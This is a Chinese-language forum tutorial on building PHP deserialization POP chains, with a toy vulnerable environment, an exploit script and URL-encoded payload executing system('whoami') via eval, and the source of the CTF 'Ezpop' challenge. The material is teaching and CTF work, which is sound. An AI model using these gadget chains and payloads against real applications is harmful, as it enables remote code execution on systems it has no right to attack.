-
-
POP链初探
-
发表于: 2022-3-6 21:10 1525
-
Author:H3h3QAQ
之前我写了一篇PHP反序列化的基础文章
接下来我打算记录一下我的POP链构造学习过程
首先我们需要一些了解一些基础知识
面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链。
POP链是反序列化漏洞利用中的一种常有方法,即寻找程序环境中已经定义或能够动态加载的对象中的属性或函数,将一些能够被调用的函数组合起来,达到目的的操作。
在简单的反序列化漏洞利用中,我们通常寻找在源码中找寻找可以利用的魔术方法,但是关键利用点并不是魔术方法中,而是在类的方法中,在此时如果有多个类,存在可以RCE的函数,我们就可以尝试去寻找存在我们可控的变量的POP链来将其串联起来,从而达到攻击的目的。
接下来,我们给一个简单的环境,更有利于理解
这就是一个简单的环境,我们需要利用到Hack
类中的action
方法中的eval()
达成RCE
接下来我们温习一下魔术方法:
环境中用到了__construct()
和__destruct()
魔术方法,我们需要牢记住每个魔术方法在什么情况下被触发。
我们来分析一下Lemon类
当Lemon类被new的时候会调用__construct()
从而newH3
类,然后会触发__destruct()
方法,把a
的指传给action()
但是H3
类中并没有我们能够利用的的地方,我们接下来看Hack
类
该类中有eval
函数,可以被利用
到此我们的POP链已经很明确了,利用Lemon
类中的魔术方法去实例化Hack
类,从而执行eval()
,并且参数可控
exp如下:
payload:
执行结果:
这就完成了一个简单的POP链构造
经典题目Ezpop
为了便于观看,我把每个魔术方法都做了注释在上面
接下来分析一下
我们可以利用Modifier
类来包含到flag.php
然后再利用Show
类输出flag
接下来我们来找一下POP链
从__wakeup()
开始(或者说从Show类开始)
__wakeup(
)先对字符串做比较,如果$this->source
为Show类
,则会触发__toString()
魔术方法
__toString()
方法会访问str中的source
,如果str
是Test类
则会触发__get()
可以看到,在__get()
魔术方法中,p作为函数来使用,我们可以来实例化Modifier
类,从而触发__invoke()
方法
至此,我们已经找到了一个完整的POP链
然后就可以伪协议配合include来把flag读出来
exp如下:
将其base64解码后成功拿到flag
这里选择了CVE-2019-9081 Laravel5.7 反序列化 RCE进行复现
对于初学者,我建议复现一下Thinkphp和Laravel几个反序列化洞
在复现的过程中跟着作者的思路,可以很好的体会一下POP链子构造的方法和技巧
因为之前已经复现过,并且在看雪发过文章了,这里就贴个链接QAQ
CVE-2019-9081 Laravel5.7 反序列化 RCE
相信通过了本篇文章,对于对POP链构造的初学者,能够提供一个简单快速的入手方法
POP链构造在真实环境下经常要“跳来跳去”,这就对挖掘者的耐心和技巧是个非常大的考验,但是如果成功挖掘出一条链子后,感觉非常的爽~
而面对这些,就需要大家对于魔术方法
掌握牢固,并且对于这种构造思想也要灵活运用,不能太过死板,而且在挖链子的过程中也会有一些小技巧,这些就需要大家自行收集了,本篇文章就不过多赘述咯
参考链接:
https://v0w.top/2020/03/05/unsearise-POP/#2-2-%E7%94%A8%E4%B8%80%E4%B8%AA%E5%AE%9E%E4%BE%8B%E8%AF%B4%E6%98%8E%E5%A6%82%E4%BD%95%E6%9E%84%E9%80%A0POP%E9%93%BE
http://h3geeker.top/posts/ae3250a1.html#toc-heading-2
https://bbs.pediy.com/thread-270904.htm
https://www.sec-in.com/article/1094
<?php
show_source(__FILE__);
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new H3();
}
function __destruct() {
$this
-
>a
-
>action();
}
}
class
H3 {
function action() {
echo
"I want to play basketball!"
;
}
}
class
Hack {
private $data;
function H3() {
eval
($this
-
>data);
}
}
unserialize($_GET[
'eval'
]);
<?php
show_source(__FILE__);
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new H3();
}
function __destruct() {
$this
-
>a
-
>action();
}
}
class
H3 {
function action() {
echo
"I want to play basketball!"
;
}
}
class
Hack {
private $data;
function H3() {
eval
($this
-
>data);
}
}
unserialize($_GET[
'eval'
]);
__destruct():
/
/
析构函数当对象被销毁时会被自动调用
__wakeup():
/
/
unserialize()时会被自动调用
__invoke():
/
/
当尝试以调用函数的方法调用一个对象时,会被自动调用
__call():
/
/
在对象上下文中调用不可访问的方法时触发
__callStatci():
/
/
在静态上下文中调用不可访问的方法时触发
__get():
/
/
用于从不可访问的属性读取数据
__set():
/
/
用于将数据写入不可访问的属性
__isset():
/
/
在不可访问的属性上调用isset()或empty()触发
__unset():
/
/
在不可访问的属性上使用unset()时触发
__toString():
/
/
把类当作字符串使用时触发
__construct():
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep():
/
/
serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
__destruct():
/
/
析构函数当对象被销毁时会被自动调用
__wakeup():
/
/
unserialize()时会被自动调用
__invoke():
/
/
当尝试以调用函数的方法调用一个对象时,会被自动调用
__call():
/
/
在对象上下文中调用不可访问的方法时触发
__callStatci():
/
/
在静态上下文中调用不可访问的方法时触发
__get():
/
/
用于从不可访问的属性读取数据
__set():
/
/
用于将数据写入不可访问的属性
__isset():
/
/
在不可访问的属性上调用isset()或empty()触发
__unset():
/
/
在不可访问的属性上使用unset()时触发
__toString():
/
/
把类当作字符串使用时触发
__construct():
/
/
构造函数,当对象new的时候会自动调用,但在unserialize()时不会自动调用
__sleep():
/
/
serialize()函数会检查类中是否存在一个魔术方法__sleep() 如果存在,该方法会被优先调用
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new H3();
}
function __destruct() {
$this
-
>a
-
>action();
}
}
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new H3();
}
function __destruct() {
$this
-
>a
-
>action();
}
}
class
Hack {
private $data;
function action() {
eval
($this
-
>data);
}
}
class
Hack {
private $data;
function action() {
eval
($this
-
>data);
}
}
<?php
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new Hack();
}
}
class
Hack {
private $data
=
"system('whoami');"
;
}
$a
=
new Lemon();
echo urlencode(serialize($a));
?>
<?php
class
Lemon {
protected $a;
function __construct() {
$this
-
>a
=
new Hack();
}
}
class
Hack {
private $data
=
"system('whoami');"
;
}
$a
=
new Lemon();
echo urlencode(serialize($a));
?>
O
%
3A5
%
3A
%
22Lemon
%
22
%
3A1
%
3A
%
7Bs
%
3A4
%
3A
%
22
%
00
%
2A
%
00a
%
22
%
3BO
%
3A4
%
3A
%
22Hack
%
22
%
3A1
%
3A
%
7Bs
%
3A10
%
3A
%
22
%
00Hack
%
00data
%
22
%
3Bs
%
3A17
%
3A
%
22system
%
28
%
27whoami
%
27
%
29
%
3B
%
22
%
3B
%
7D
%
7D
O
%
3A5
%
3A
%
22Lemon
%
22
%
3A1
%
3A
%
7Bs
%
3A4
%
3A
%
22
%
00
%
2A
%
00a
%
22
%
3BO
%
3A4
%
3A
%
22Hack
%
22
%
3A1
%
3A
%
7Bs
%
3A10
%
3A
%
22
%
00Hack
%
00data
%
22
%
3Bs
%
3A17
%
3A
%
22system
%
28
%
27whoami
%
27
%
29
%
3B
%
22
%
3B
%
7D
%
7D
<?php
class
Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
/
/
当脚本尝试将对象调用为函数时触发
$this
-
>append($this
-
>var);
}
}
class
Show{
public $source;
public $
str
;
public function __construct($
file
=
'index.php'
){
/
/
当一个对象创建时被调用
$this
-
>source
=
$
file
;
echo
'Welcome to '
.$this
-
>source.
"<br>"
;
}
public function __toString(){
/
/
当一个对象被当作一个字符串被调用
return
$this
-
>
str
-
>source;
}
public function __wakeup(){
/
/
使用unserialize时触发
if
(preg_match(
"/gopher|http|file|ftp|https|dict|\.\./i"
, $this
-
>source)) {
echo
"hacker"
;
$this
-
>source
=
"index.php"
;
}
}
}
class
Test{
public $p;
public function __construct(){
/
/
当一个对象创建时被调用
$this
-
>p
=
array();
}
public function __get($key){
/
/
用于从不可访问的属性读取数据
$function
=
$this
-
>p;
return
$function();
}
}
if
(isset($_GET[
'pop'
])){
@unserialize
($_GET[
'pop'
]);
}
else
{
$a
=
new Show;
highlight_file(__FILE__);
}
?>
<?php
class
Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
/
/
当脚本尝试将对象调用为函数时触发
$this
-
>append($this
-
>var);
}
}
class
Show{
public $source;
public $
str
;
public function __construct($
file
=
'index.php'
){
/
/
当一个对象创建时被调用
赞赏
- 牧云·主机管理助手测评 6674
- [原创]JAVA安全—反射 832
- [原创]CISCN2022-东北赛区半决赛eztp解题思路 13068
- [XCTF]第四期个人能力认证考核个人wp 9684
- [原创]记录一次对某CMS漏洞挖掘 1497